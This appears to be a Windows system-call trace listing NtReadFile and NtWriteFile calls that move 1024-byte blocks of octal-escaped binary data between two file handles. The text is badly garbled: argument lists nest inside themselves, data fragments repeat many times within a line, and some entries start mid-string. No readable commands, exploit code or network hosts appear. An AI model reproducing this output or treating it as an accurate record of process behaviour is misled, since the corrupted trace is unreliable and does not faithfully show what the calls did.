"\10\376\16\347?(9)\370+\23\24\326#\21\15\20a\36I\34\12,\323\6\267\27W\25\266\23\333\226\26nR\255\14l-\357\23\322-\35\225\256PD\250\366\340PA\2\110\250\3501\235\12*\342\20;\315\266&\205\35i\322\225w\375,\374\35o\337\30j\271\233\7\326\17u*g>\353\213?\250\305\25O\27a\213\231A\24p5\2\2739O\20\326#\274\344\264\34k:\302">\313'>\245 j$\212\4z\224\351]q3|z\264{^\17\3762\306\330\369\177*\333\27\3\334\30\301a\7s\235\3102\273\311I\177\302z\206O+s0\222t5\240q6\262l}:Cz?K\\35tY\36~\264e"wb'o\351&\2\10\217L\321_).2,4*6(8&:$<">\300\4\34\2\36\0 >"<$:&8].\302\255\314.>\3045\331j\237\276\272\230\265:8\331re\276\337\224\335\36\34\342)""\373\221)'\327&*$,". 0>2<4:688&5;3=1?\24\34\21\36Iw\252\12\332\235\227:\25\30)\30g\36y\34s\2U2\1L\7\242\5\244\13\236;\16\221\14\377)\300/\372\37\22\315\20#%\26:\24(\15\31\7\37m\35s\31B\0\270\6\242\4\244\12:\237\17\205\15\353(\364.\36\33\24-\267,E4\27\330\265\36\303\266\3569O\203\254S7e\3354\261\108R\351j=\325\24\366I\36\11*\32pru|\33?\16=\27\2\353\24-#"\356\201D\164k\21j\3275\231\202x~\322\373>X^N\223@!r\312\331%\204'\254\343", ) , ) == 0x0
 01205  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "&u\30L\316\257\32Xr\317G\257M\206\365Q\226&\317\351\232\230\260D\227w\234\360\2565/K\361\213\214\226\261\331\261\353\352\307;\177\7\337\327F\224\335\24\311W\313\206\366P\1\211\321:1\374\343\14\323\306\25%\335\12\2009\366^s\36\247\206\:\337\215\306'L;X\325$3\213\332\264\322G[\376w"\2S\310\202\3w=E\262\234%\364)\17\307~\361iW\263\03\0\252\33\11\333\33\265IN\363\362\322\5\205\250T!K\333\373Qx\5\300\3445!\300/\341\314\316^\243jM\370]\216!\313\312\333\224\331\235d\347c\375\203pn\31\331\257"8s\35\3\351!\326B\334\370\343\365\250\262\330\210\233\232\230\367qaH\370_N0\12\243\234\346Fll\200\2\343\350\216?\33\215\321z\0\300N=\4&8\325d?\267Ax\202j\27k\2276\2512\5\260\15\12h\360\255q\275A.\256\235\357\303\316I\25#\351\312\312\305V\257^JX\263\225\10;\300\236\201\307\262\220-\22\374\20\254\1\31\217\347dju\301"\261\267\266+\332\1\247\277\220\7%\375\353\254\275y\241\256\266\276\207\17]\5\21\247\247R\351\320u\5Bm\36\33\340~\347\26\272\213:"\204\27\35\367WI#\222N\206h\261\3\205\277W#\367\206\221\236\206=\310k\231\3627\177\326\31it\244\370\253aRn\3024\33\31\320}\220\360\370\310L\336\373xN\234\24\3327\222}:\0\214:c\201rJ\342\273\27\51\237\201\314\225~wh(\274O\215\377\336s3\35Zd\276/\270\26\264\15\355W\372#\212\370q\236kS\345\230i\350\332\2474\226\244n>P\237\23\251X\314\3W'9\241\376\356\347\243\302\375\12\271K\375,m\277\212b\326\362\10/\25\337\216\377\202\264<\301\267\336\310", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \2S\310\202\3w=E\262\234%\364)\17\307~\361iW\263\03\0\252\33\11\333\33\265IN\363\362\322\5\205\250T!K\333\373Qx\5\300\3445!\300/\341\314\316^\243jM\370]\216!\313\312\333\224\331\235d\347c\375\203pn\31\331\257 (92, 0, 0, 0, "&u\30L\316\257\32Xr\317G\257M\206\365Q\226&\317\351\232\230\260D\227w\234\360\2565/K\361\213\214\226\261\331\261\353\352\307;\177\7\337\327F\224\335\24\311W\313\206\366P\1\211\321:1\374\343\14\323\306\25%\335\12\2009\366^s\36\247\206\:\337\215\306'L;X\325$3\213\332\264\322G[\376w"\2S\310\202\3w=E\262\234%\364)\17\307~\361iW\263\03\0\252\33\11\333\33\265IN\363\362\322\5\205\250T!K\333\373Qx\5\300\3445!\300/\341\314\316^\243jM\370]\216!\313\312\333\224\331\235d\347c\375\203pn\31\331\257"8s\35\3\351!\326B\334\370\343\365\250\262\330\210\233\232\230\367qaH\370_N0\12\243\234\346Fll\200\2\343\350\216?\33\215\321z\0\300N=\4&8\325d?\267Ax\202j\27k\2276\2512\5\260\15\12h\360\255q\275A.\256\235\357\303\316I\25#\351\312\312\305V\257^JX\263\225\10;\300\236\201\307\262\220-\22\374\20\254\1\31\217\347dju\301"\261\267\266+\332\1\247\277\220\7%\375\353\254\275y\241\256\266\276\207\17]\5\21\247\247R\351\320u\5Bm\36\33\340~\347\26\272\213:"\204\27\35\367WI#\222N\206h\261\3\205\277W#\367\206\221\236\206=\310k\231\3627\177\326\31it\244\370\253aRn\3024\33\31\320}\220\360\370\310L\336\373xN\234\24\3327\222}:\0\214:c\201rJ\342\273\27\51\237\201\314\225~wh(\274O\215\377\336s3\35Zd\276/\270\26\264\15\355W\372#\212\370q\236kS\345\230i\350\332\2474\226\244n>P\237\23\251X\314\3W'9\241\376\356\347\243\302\375\12\271K\375,m\277\212b\326\362\10/\25\337\216\377\202\264<\301\267\336\310", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \261\267\266+\332\1\247\277\220\7%\375\353\254\275y\241\256\266\276\207\17]\5\21\247\247R\351\320u\5Bm\36\33\340~\347\26\272\213: (92, 0, 0, 0, "&u\30L\316\257\32Xr\317G\257M\206\365Q\226&\317\351\232\230\260D\227w\234\360\2565/K\361\213\214\226\261\331\261\353\352\307;\177\7\337\327F\224\335\24\311W\313\206\366P\1\211\321:1\374\343\14\323\306\25%\335\12\2009\366^s\36\247\206\:\337\215\306'L;X\325$3\213\332\264\322G[\376w"\2S\310\202\3w=E\262\234%\364)\17\307~\361iW\263\03\0\252\33\11\333\33\265IN\363\362\322\5\205\250T!K\333\373Qx\5\300\3445!\300/\341\314\316^\243jM\370]\216!\313\312\333\224\331\235d\347c\375\203pn\31\331\257"8s\35\3\351!\326B\334\370\343\365\250\262\330\210\233\232\230\367qaH\370_N0\12\243\234\346Fll\200\2\343\350\216?\33\215\321z\0\300N=\4&8\325d?\267Ax\202j\27k\2276\2512\5\260\15\12h\360\255q\275A.\256\235\357\303\316I\25#\351\312\312\305V\257^JX\263\225\10;\300\236\201\307\262\220-\22\374\20\254\1\31\217\347dju\301"\261\267\266+\332\1\247\277\220\7%\375\353\254\275y\241\256\266\276\207\17]\5\21\247\247R\351\320u\5Bm\36\33\340~\347\26\272\213:"\204\27\35\367WI#\222N\206h\261\3\205\277W#\367\206\221\236\206=\310k\231\3627\177\326\31it\244\370\253aRn\3024\33\31\320}\220\360\370\310L\336\373xN\234\24\3327\222}:\0\214:c\201rJ\342\273\27\51\237\201\314\225~wh(\274O\215\377\336s3\35Zd\276/\270\26\264\15\355W\372#\212\370q\236kS\345\230i\350\332\2474\226\244n>P\237\23\251X\314\3W'9\241\376\356\347\243\302\375\12\271K\375,m\277\212b\326\362\10/\25\337\216\377\202\264<\301\267\336\310", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01206  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\210\251\14\255\12\221\107;S;\2565i\32\227#v\37_\316x\21$s$'\254C\250 \16\353.*\3065\2603y\362<`>E(;R\257\374\31bM\273MB\332\33 tR\202\240).3\"\272'\302m\346\244\310\33261\7pz\310\307N\257\277\30\35\266?\30/\353\356^\253\3542\252\220\1\316G+\301Wf-\14\275c\24a\364\267\20\351'798\322\264\14\32\263\263?\24\235\36\34\0 \372w$&"\317\273\31(}F,D-`\270F78\274\1776\371\3309\2668=\374\264O8\215\336\241!\300\334\333%$\14\352P\32\260s\225,/\361p$\166DvAM2e\372t?:6\250C"\36;"$a\227 %\331<\7Ny\30\254\366x\24\363(R\314-"\307.Z8Z8jYZs?Xl\352;"\311?S'\326g\202y\301$"\15,~4301\333\314.\241\204k\31l:>\302>?\363\370-\37?\253]\67L\241\330=*\313\243jE\253\355\337\14=3;597\3076:4<2>0\33\23\35\21\37/!-#\3\321b\23\10\350\277FE\211.h\331\23P\2264@\337`\2309\202\363\2164\377/\11\335\322\16\21%\11\207 \254\27\317:\215)J\302>d\254;a\210\271\4d\335\361\24x\251\1\313@&\216\201\363\272\316-\37\33\321].\257&\255(\10vt\242d=o\26oo\27522\232\4X\243\30\366m\324\341x$\35\17L\326\337**\251-z\256^v8\240\312iF-&?02\3223\356u751):98=9;\13\34\25\256\334!.$!$\7#':9*/\256/(?01>\343\36657\3078=&\313<>Z\30\33.", ) \272'\302m\346\244\310\33261\7pz\310\307N\257\277\30\35\266?\30/\353\356^\253\3542\252\220\1\316G+\301Wf-\14\275c\24a\364\267\20\351'798\322\264\14\32\263\263?\24\235\36\34\0 \372w$& (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\210\251\14\255\12\221\107;S;\2565i\32\227#v\37_\316x\21$s$'\254C\250 \16\353.*\3065\2603y\362<`>E(;R\257\374\31bM\273MB\332\33 tR\202\240).3\"\272'\302m\346\244\310\33261\7pz\310\307N\257\277\30\35\266?\30/\353\356^\253\3542\252\220\1\316G+\301Wf-\14\275c\24a\364\267\20\351'798\322\264\14\32\263\263?\24\235\36\34\0 \372w$&"\317\273\31(}F,D-`\270F78\274\1776\371\3309\2668=\374\264O8\215\336\241!\300\334\333%$\14\352P\32\260s\225,/\361p$\166DvAM2e\372t?:6\250C"\36;"$a\227 %\331<\7Ny\30\254\366x\24\363(R\314-"\307.Z8Z8jYZs?Xl\352;"\311?S'\326g\202y\301$"\15,~4301\333\314.\241\204k\31l:>\302>?\363\370-\37?\253]\67L\241\330=*\313\243jE\253\355\337\14=3;597\3076:4<2>0\33\23\35\21\37/!-#\3\321b\23\10\350\277FE\211.h\331\23P\2264@\337`\2309\202\363\2164\377/\11\335\322\16\21%\11\207 \254\27\317:\215)J\302>d\254;a\210\271\4d\335\361\24x\251\1\313@&\216\201\363\272\316-\37\33\321].\257&\255(\10vt\242d=o\26oo\27522\232\4X\243\30\366m\324\341x$\35\17L\326\337**\251-z\256^v8\240\312iF-&?02\3223\356u751):98=9;\13\34\25\256\334!.$!$\7#':9*/\256/(?01>\343\36657\3078=&\313<>Z\30\33.", ) \36; (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\210\251\14\255\12\221\107;S;\2565i\32\227#v\37_\316x\21$s$'\254C\250 \16\353.*\3065\2603y\362<`>E(;R\257\374\31bM\273MB\332\33 tR\202\240).3\"\272'\302m\346\244\310\33261\7pz\310\307N\257\277\30\35\266?\30/\353\356^\253\3542\252\220\1\316G+\301Wf-\14\275c\24a\364\267\20\351'798\322\264\14\32\263\263?\24\235\36\34\0 \372w$&"\317\273\31(}F,D-`\270F78\274\1776\371\3309\2668=\374\264O8\215\336\241!\300\334\333%$\14\352P\32\260s\225,/\361p$\166DvAM2e\372t?:6\250C"\36;"$a\227 %\331<\7Ny\30\254\366x\24\363(R\314-"\307.Z8Z8jYZs?Xl\352;"\311?S'\326g\202y\301$"\15,~4301\333\314.\241\204k\31l:>\302>?\363\370-\37?\253]\67L\241\330=*\313\243jE\253\355\337\14=3;597\3076:4<2>0\33\23\35\21\37/!-#\3\321b\23\10\350\277FE\211.h\331\23P\2264@\337`\2309\202\363\2164\377/\11\335\322\16\21%\11\207 \254\27\317:\215)J\302>d\254;a\210\271\4d\335\361\24x\251\1\313@&\216\201\363\272\316-\37\33\321].\257&\255(\10vt\242d=o\26oo\27522\232\4X\243\30\366m\324\341x$\35\17L\326\337**\251-z\256^v8\240\312iF-&?02\3223\356u751):98=9;\13\34\25\256\334!.$!$\7#':9*/\256/(?01>\343\36657\3078=&\313<>Z\30\33.", ) \307.Z8Z8jYZs?Xl\352; (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\210\251\14\255\12\221\107;S;\2565i\32\227#v\37_\316x\21$s$'\254C\250 \16\353.*\3065\2603y\362<`>E(;R\257\374\31bM\273MB\332\33 tR\202\240).3\"\272'\302m\346\244\310\33261\7pz\310\307N\257\277\30\35\266?\30/\353\356^\253\3542\252\220\1\316G+\301Wf-\14\275c\24a\364\267\20\351'798\322\264\14\32\263\263?\24\235\36\34\0 \372w$&"\317\273\31(}F,D-`\270F78\274\1776\371\3309\2668=\374\264O8\215\336\241!\300\334\333%$\14\352P\32\260s\225,/\361p$\166DvAM2e\372t?:6\250C"\36;"$a\227 %\331<\7Ny\30\254\366x\24\363(R\314-"\307.Z8Z8jYZs?Xl\352;"\311?S'\326g\202y\301$"\15,~4301\333\314.\241\204k\31l:>\302>?\363\370-\37?\253]\67L\241\330=*\313\243jE\253\355\337\14=3;597\3076:4<2>0\33\23\35\21\37/!-#\3\321b\23\10\350\277FE\211.h\331\23P\2264@\337`\2309\202\363\2164\377/\11\335\322\16\21%\11\207 \254\27\317:\215)J\302>d\254;a\210\271\4d\335\361\24x\251\1\313@&\216\201\363\272\316-\37\33\321].\257&\255(\10vt\242d=o\26oo\27522\232\4X\243\30\366m\324\341x$\35\17L\326\337**\251-z\256^v8\240\312iF-&?02\3223\356u751):98=9;\13\34\25\256\334!.$!$\7#':9*/\256/(?01>\343\36657\3078=&\313<>Z\30\33.", ) \15,~4301\333\314.\241\204k\31l:>\302>?\363\370-\37?\253]\67L\241\330=*\313\243jE\253\355\337\14=3;597\3076:4<2>0\33\23\35\21\37/!-#\3\321b\23\10\350\277FE\211.h\331\23P\2264@\337`\2309\202\363\2164\377/\11\335\322\16\21%\11\207 \254\27\317:\215)J\302>d\254;a\210\271\4d\335\361\24x\251\1\313@&\216\201\363\272\316-\37\33\321].\257&\255(\10vt\242d=o\26oo\27522\232\4X\243\30\366m\324\341x$\35\17L\326\337**\251-z\256^v8\240\312iF-&?02\3223\356u751):98=9;\13\34\25\256\334!.$!$\7#':9*/\256/(?01>\343\36657\3078=&\313<>Z\30\33.", ) == 0x0
 01207  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\306\26\264?O\235\362\14\\375\351\2014\265\342!:\341T*\363\351\4\217\306\32N\12R\226\260\335\14@\206/\3&\331\35\34\320@\365\351\310T\206V$.\310\264\\357\24\265\355W't\265\15#p\333)g\336O\255"\314x\363)\377\221\254\17\212b\275\200\225\6`1\266\205\313\203C0\1J2\231\247\266\352\16\24\261\30\374\276\344n\320\276\371\22^\257j\15\347Y\"3\210& \26k\31\32\242w\112.n\224l\375\243\307\201n-\206\250\215\230\10\375\7\374\340\230\372\301hG\270\34\303\5PG\210\303\34\260\20\346.\127\267\244\313\262\227\2\1\320\347\325\27k\342\32\2774\216\30083\6\306\331\263\270\354R\262\245\364h\26\216)vA\331\252\200\336\351j\334V\256\351\367\206\4\16+0\256\350\237\357gTI\212\342&\23v\215\217\232\261\333\206\226+\2314\31\20Tj]q\312\316<\243\367\7\2066\322\212\260\5\370r\307\323\26@\33\5\3]\252:\216\352\30\37y\302\341\25\211r\243\215\223\21\247\375%[ U\275\237\2075\305\300?\200\13\277\250\220\226\261\221\320\24\303\357\20\224\31%:L\307jW\231\22f\213\311%\224-\304\23\336P\6+\307\205\251\314\204\234\302\37\254m\221^\342\346&\237AC\221\302m\3\236\227\375{P\372\3622\264\262^\277\275\250\251\\360\374<\371Q\11\266\3Z\3312\22loN\300\204\267\273\31w\2557-\217\7\201kh\327\3236"L\223\224nA\336\274\365\177\241p\350\314\225\231\330|]G\212\247$\30\177\356\\24T\246\311L\23\313(\223363)\377\221\254\17\212b\275\200\225\6`1\266\205\313\203C0\1J2\231\247\266\352\16\24\261\30\374\276\344n\320\276\371\22^\257j\15\347Y\262\254Y (92, 0, 0, 0, "\306\26\264?O\235\362\14\\375\351\2014\265\342!:\341T*\363\351\4\217\306\32N\12R\226\260\335\14@\206/\3&\331\35\34\320@\365\351\310T\206V$.\310\264\\357\24\265\355W't\265\15#p\333)g\336O\255"\314x\363)\377\221\254\17\212b\275\200\225\6`1\266\205\313\203C0\1J2\231\247\266\352\16\24\261\30\374\276\344n\320\276\371\22^\257j\15\347Y\"3\210& \26k\31\32\242w\112.n\224l\375\243\307\201n-\206\250\215\230\10\375\7\374\340\230\372\301hG\270\34\303\5PG\210\303\34\260\20\346.\127\267\244\313\262\227\2\1\320\347\325\27k\342\32\2774\216\30083\6\306\331\263\270\354R\262\245\364h\26\216)vA\331\252\200\336\351j\334V\256\351\367\206\4\16+0\256\350\237\357gTI\212\342&\23v\215\217\232\261\333\206\226+\2314\31\20Tj]q\312\316<\243\367\7\2066\322\212\260\5\370r\307\323\26@\33\5\3]\252:\216\352\30\37y\302\341\25\211r\243\215\223\21\247\375%[ U\275\237\2075\305\300?\200\13\277\250\220\226\261\221\320\24\303\357\20\224\31%:L\307jW\231\22f\213\311%\224-\304\23\336P\6+\307\205\251\314\204\234\302\37\254m\221^\342\346&\237AC\221\302m\3\236\227\375{P\372\3622\264\262^\277\275\250\251\\360\374<\371Q\11\266\3Z\3312\22loN\300\204\267\273\31w\2557-\217\7\201kh\327\3236"L\223\224nA\336\274\365\177\241p\350\314\225\231\330|]G\212\247$\30\177\356\\24T\246\311L\23\313(\223223\224nA\336\274\365\177\241p\350\314\225\231\330|]G\212\247$\30\177\356\\24T\246\311L\23\313(\2237$\354\300sx\364l\237\377@}]\1B-\220z\21@\357\374\6\265\311\24\376\21$\276\204\2741p\220[\310\11}\344\244\374\210\21}\13", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01208  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\7\3047\27S\2539\356#\27\354.>$G7\27j\6fsmn:>\267\306\257_&p9\12\235%\252\334d"-\230\237dh\21\352\247\320\243\257|! \2729){\26\20\31r:\2650\26\376\2\226\5\337\6qa4\247\0A\247((\355:\256\354X|\245\2641\26\23346\262\367L\33\327\273&m\376:\337|\34v\346\305p\373\243& \256\247(\10\17\270\315-\16\12\306\257\3233\24\20\237\3268Xk\332<\35\33\211\336\375\35>:\363\300"\3\1\304\307'E\11\17\304\315-\16\12\315\3202\23\21>\354\244\346\215:9\Z|s0z$\315\237\0a-\247\273\333\331\330M\14z\304\254\10/\16\265\1107J42\223\17\351\325P\335\214_?\26[=+B-\21/'\2&,\24\372\363.,D\3675\316\345\221#\264\36379Q\307m\302\351/~\377\219 )\36+\30-\240\22&\234\34\322\32\30\30u\36\256\34\255\2\305\0\313\6'\3\17\15D\17\352\11\337\13X)R+w\25Z\27\230\21\306\23:\36q\34\360\33\316\31 \10/2\316\313\277", ) -\230\237dh\21\352\247\320\243\257|! \2729){\26\20\31r:\2650\26\376\2\226\5\337\6qa4\247\0A\247((\355:\256\354X|\245\2641\26\23346\262\367L\33\327\273&m\376:\337236\34\2410b,$\211&$xxx\3001\26.!29\2760\35\361/\267\206\25k\233\265?\2768\33\33\242I\11 \12cW\344\241 &[\352j\5(}\257n4ac\333&\310\311\267\3276\361J\262!?\20\30w\36\36\250q\3127\244\230\342/\353\370-\3\177{y.\366\304\262\215\4\260&\3017\275\250\243\177=\37\36>|\34v\346\305p\373\243& \256\247(\10\17\270\315-\16\12\306\257\3233\24\20\237\3268Xk\332<\35\33\211\336\375\35>:\363\300 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\7\3047\27S\2539\356#\27\354.>$G7\27j\6fsmn:>\267\306\257_&p9\12\235%\252\334d"-\230\237dh\21\352\247\320\243\257|! \2729){\26\20\31r:\2650\26\376\2\226\5\337\6qa4\247\0A\247((\355:\256\354X|\245\2641\26\23346\262\367L\33\327\273&m\376:\337|\34v\346\305p\373\243& \256\247(\10\17\270\315-\16\12\306\257\3233\24\20\237\3268Xk\332<\35\33\211\336\375\35>:\363\300"\3\1\304\307'E\11\17\304\315-\16\12\315\3202\23\21>\354\244\346\215:9\Z|s0z$\315\237\0a-\247\273\333\331\330M\14z\304\254\10/\16\265\1107J42\223\17\351\325P\335\214_?\26[=+B-\21/'\2&,\24\372\363.,D\3675\316\345\221#\264\36379Q\307m\302\351/~\377\219 )\36+\30-\240\22&\234\34\322\32\30\30u\36\256\34\255\2\305\0\313\6'\3\17\15D\17\352\11\337\13X)R+w\25Z\27\230\21\306\23:\36q\34\360\33\316\31 \10/2\316\313\277", ) , ) == 0x0
 01209  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\352^\21\25/\314\36\370\240wV\210S:\12\146\247\362\2534\332N\257$\244MM\324^\375;\273\347\345\207l\250(\362\352\352\6#F7\253$f\325\361\315\261\241\330\201\361M\231Wd\353'\10\245\203\212\240\27&\202\244\37\231\36\303[\272\31h:nq\205\261.\33\234\354RKi8(\363\244\351\222\237\266\235\204@\351\21\255\324\356Z\372J9\356\325\326?\266\317\3609\215\22\224'2 \213\2234\21\301g\360\3\5\307Ekef&\274\305\3678.\305'\376o\217\271\6\322\370\6\256b\350\376f\377\362q\270\360\340Jw'O\307t\360Q\14\33\322\256o#\310B\6\371\374H\177?`\344\230\205\21\1\5\30\10\222\351\277\11\177\26\372|\317cI\341\230\246\35<\2311U\223\243\256\260\307\237\273\367\316J\355e\263\255;\3\340\223i\262\352\346\336\37&\234\245\2\214\351\301\230\36\264\312\243\260\231\325\313\3179Rn\17\205:\247\11q\2757J\242\346\271\335\322\350\231\241\253y(\212\37\350B\216\300kA\360\211qn\273\300\27\212*!\243\36\211@mO\374\337\255'\26^\241<\311"\2764\341\356\356\277\205`,\262K\240\345\232y\30 \3567\243\254\265Q\361\362E\222%\25\313\16So\312\231\3070\217\231\254x\317\230\347\230n\11`\327'G\0\300\212\247J\353\273\270\341\277k\300\316u\237\325\2\326\366\304#\222\252\313\352\324J\27\205\3451C{]j<\202\357\14\25k\224\370y\302\367\2616\260\232\313U\241.\253C\350\263"\3679\357\217]\377k-R\233\244\22j\22A\212\316\24\335\24e\247}\207\321_e\255\257~\344\12V\200m\334\275\354\353Q\3408\352\326a\22\317\343i\276\236+\323b\200<\207\312}U>\306\214\365\225\214\214\24\301\4i}\346k\24", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \2764\341\356\356\277\205`,\262K\240\345\232y\30 \3567\243\254\265Q\361\362E\222%\25\313\16So\312\231\3070\217\231\254x\317\230\347\230n\11`\327'G\0\300\212\247J\353\273\270\341\277k\300\316u\237\325\2\326\366\304#\222\252\313\352\324J\27\205\3451C{]j<\202\357\14\25k\224\370y\302\367\2616\260\232\313U\241.\253C\350\263 (92, 0, 0, 0, "\352^\21\25/\314\36\370\240wV\210S:\12\146\247\362\2534\332N\257$\244MM\324^\375;\273\347\345\207l\250(\362\352\352\6#F7\253$f\325\361\315\261\241\330\201\361M\231Wd\353'\10\245\203\212\240\27&\202\244\37\231\36\303[\272\31h:nq\205\261.\33\234\354RKi8(\363\244\351\222\237\266\235\204@\351\21\255\324\356Z\372J9\356\325\326?\266\317\3609\215\22\224'2 \213\2234\21\301g\360\3\5\307Ekef&\274\305\3678.\305'\376o\217\271\6\322\370\6\256b\350\376f\377\362q\270\360\340Jw'O\307t\360Q\14\33\322\256o#\310B\6\371\374H\177?`\344\230\205\21\1\5\30\10\222\351\277\11\177\26\372|\317cI\341\230\246\35<\2311U\223\243\256\260\307\237\273\367\316J\355e\263\255;\3\340\223i\262\352\346\336\37&\234\245\2\214\351\301\230\36\264\312\243\260\231\325\313\3179Rn\17\205:\247\11q\2757J\242\346\271\335\322\350\231\241\253y(\212\37\350B\216\300kA\360\211qn\273\300\27\212*!\243\36\211@mO\374\337\255'\26^\241<\311"\2764\341\356\356\277\205`,\262K\240\345\232y\30 \3567\243\254\265Q\361\362E\222%\25\313\16So\312\231\3070\217\231\254x\317\230\347\230n\11`\327'G\0\300\212\247J\353\273\270\341\277k\300\316u\237\325\2\326\366\304#\222\252\313\352\324J\27\205\3451C{]j<\202\357\14\25k\224\370y\302\367\2616\260\232\313U\241.\253C\350\263"\3679\357\217]\377k-R\233\244\22j\22A\212\316\24\335\24e\247}\207\321_e\255\257~\344\12V\200m\334\275\354\353Q\3408\352\326a\22\317\343i\276\236+\323b\200<\207\312}U>\306\214\365\225\214\214\24\301\4i}\346k\24", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01210  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\7\3774\376\33\34\34\366\355\360!\316\250\352t%Ui\312\313+l$\2&W42\374<\233?x\210\2263\12.\365w~kR\14*\15R\34Ha #\5#\300\375\302\250#G..\2034c\270\374\275\252\367\34\211:8\324\0\3763\33\\34\36\26\214!!%\314(\324@+ j,\354:\306:\260&\261)0e\273\273\34\261z?=<0k\338E\225\321#S\261\243$\2300jju\15\251|/$\221HP3\272\242\241\264<\372\177%\271#\207\10\336\31\210\250A\236\32\365#!\317\314f&\274\257\24iS\222n.,\247\2623\220\322\254\2678\253\264Zy,\37<\211d|8\37/\2521u\224\2546\317\275);*59/>91\17\333\2614\24c\34%oi|5\350\227[\24\33\17\33 0\356\302}\14.\15`\1"\332l0\245l2\12\367?G<\2269y8\321+\277\305\346\34>\5\374\36?\5\6\303#\4\0\220\22\311)\12\16o\314.\17\25`\3223\1Wc\17\30\376\300\376\246\275<:\240\267<\32?2\347\243"\365\244&\373\251)\0\314\255-\334\2560\314\2633<\241\233\2678*\272;\275\342\277:!5_C\312\355\0&CFT\215\304\15\310#=.0\37>\2211\276\314\221\227 \250\2319\370p]I\270\277\33\2705\17>'\342\261\202&\33\344R\274\20\263\251i\240\256,\177\25731f\357w6=\36{\260\344\2763=\344\34\35\36\367\276\307\337\334\37\336)\257\244j", ) \332l0\245l2\12\367?G<\2269y8\321+\277\305\346\34>\5\374\36?\5\6\303#\4\0\220\22\311)\12\16o\314.\17\25`\3223\1Wc\17\30\376\300\376\246\275<:\240\267<\32?2\347\243 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\7\3774\376\33\34\34\366\355\360!\316\250\352t%Ui\312\313+l$\2&W42\374<\233?x\210\2263\12.\365w~kR\14*\15R\34Ha #\5#\300\375\302\250#G..\2034c\270\374\275\252\367\34\211:8\324\0\3763\33\\34\36\26\214!!%\314(\324@+ j,\354:\306:\260&\261)0e\273\273\34\261z?=<0k\338E\225\321#S\261\243$\2300jju\15\251|/$\221HP3\272\242\241\264<\372\177%\271#\207\10\336\31\210\250A\236\32\365#!\317\314f&\274\257\24iS\222n.,\247\2623\220\322\254\2678\253\264Zy,\37<\211d|8\37/\2521u\224\2546\317\275);*59/>91\17\333\2614\24c\34%oi|5\350\227[\24\33\17\33 0\356\302}\14.\15`\1"\332l0\245l2\12\367?G<\2269y8\321+\277\305\346\34>\5\374\36?\5\6\303#\4\0\220\22\311)\12\16o\314.\17\25`\3223\1Wc\17\30\376\300\376\246\275<:\240\267<\32?2\347\243"\365\244&\373\251)\0\314\255-\334\2560\314\2633<\241\233\2678*\272;\275\342\277:!5_C\312\355\0&CFT\215\304\15\310#=.0\37>\2211\276\314\221\227 \250\2319\370p]I\270\277\33\2705\17>'\342\261\202&\33\344R\274\20\263\251i\240\256,\177\25731f\357w6=\36{\260\344\2763=\344\34\35\36\367\276\307\337\334\37\336)\257\244j", ) , ) == 0x0
 01211  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\224qV\335\221m=\253\233"E\307\36\242\327\232m\357$\260\27\343y\275\244\351\26\374\36\375\245\376j)\245\305\247\32n\277?v\22\242\303\304\27\344V\30\265:F\37\6\327C&\331]\264l\365\336z\211\14]\344\376\14\324j\15\7\202\247\334\242\344\251~\244\3457\252\25\7[i\33\255W\226\244\265\342\326\250&g\305\237[\22\354\254\323X\122F\233\304\325\225\277f\345\274\23\373\325\11\363j\205\10\250J^vc\274f\174\377\251\342e\31\275e\336\261\355\210\363\217q\253\301\256\343\32\11\33{T\370wwX~r\252\3\376h^}I%\346Q#\377\245\2679\12xP\264?\5,\271D\212\3449\353p\307Xj\235\\12\342\363F\274+8{k\3108T\20\254\3217\33t\226\12\364\245\217\342\246\333e^\354\11O'\177\377\242S\232\20\264\2628\270\257)\212-a/\2524\241\342\330\2516"\233\200i\233\354\261\256Op\374\\301<\217<\371)\263\352\12\215}\2\304\365\34\14/e\313N\236\241+G\242\13)\20\210\322\206b\37\361\331<\327\375\357xy\207\3|\364\12b\272/\273k\232\362K\340\27\350\30\231\7h\4\\203\356\13\7\14\3170\24&d\5/%\23\246\346\354\2\314\252\34sh*\330V\251YuB\333\363\0\2021\230\\216!", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 